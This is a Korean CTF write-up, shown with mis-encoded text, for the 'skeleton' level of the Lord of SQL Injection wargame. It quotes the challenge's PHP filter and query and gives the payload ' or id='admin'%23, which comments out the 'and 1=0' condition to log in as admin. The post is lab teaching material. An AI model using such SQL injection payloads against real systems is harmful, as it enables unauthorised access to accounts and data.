ํฐ์คํ ๋ฆฌ ๋ทฐ
10๋ฒ์งธ ๋ฌธ์ ์ธ " skelton "์ ๋๋ค.
if(preg_match('/prob|_|\.|\(\)/i', $_GET [pw])) exit("No Hack ~_~");
๊ฒ์ฆ๋๋ ๋ฌธ์์ด์ ํ์ธํด ๋ณด๋ฉด ์ด์ฒ๋ผ ํน์๊ธฐํธ ๋ช๊ฐ๋ง ๊ฒ์ฆ์ ํ๊ณ ์์ต๋๋ค.
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET [pw]}' and 1=0";
์ฐ๋ฆฌ๊ฐ ์ฌ์ฉํ ๋ณ์๋ " pw='{$_GET[pw]} " ์ด ๋ถ๋ถ์ ์ฌ์ฉํ๋ฉด ๋ ๊ฑฐ ๊ฐ์ง๋ง " and 1=0 " ์ฐ์ฐ์๊ฐ ํฌํจ๋์ด ์๊ธฐ ๋๋ฌธ์ '1'='1' ํํ์ ์ฐธ๊ฐ์ ๋์
ํด๋ ๊ฑฐ์ง ๊ฐ์ผ๋ก ์ธ์์ ํ๊ณ ์์ต๋๋ค.
if($result ['id'] == 'admin') solve("skeleton");
๋ํ ํด๋น์์ค์๋ guest ๊ณ์ ์ผ๋ก ๋์ด ์๊ธฐ์ " admin " ๊ณ์ ์ผ๋ก ์ ์ธํ ํ ๊ทธ ์ดํ์ ๊ฑฐ์ง ์ฐ์ฐ์์ธ and 1=0์ #(์ฃผ์) ์ฒ๋ฆฌํ๋ฉด ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์์ ๊ฒ ๊ฐ์ต๋๋ค.
Exploit Code
' or id='admin'%23
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
XSS Challenges 4 (0) | 2020.12.06 |
---|---|
[LOS] Golem ํ์ด(11) (0) | 2020.12.06 |
[LOS] Vampire ํ์ด(9) (0) | 2020.12.06 |
[LOS] Troll ํ์ด(8) (0) | 2020.12.06 |
[LOS] ORGE ํ์ด(7) (0) | 2020.12.06 |
๊ณต์ ํ๊ธฐ ๋งํฌ
Comment
Contact guleum.zone@gmail.com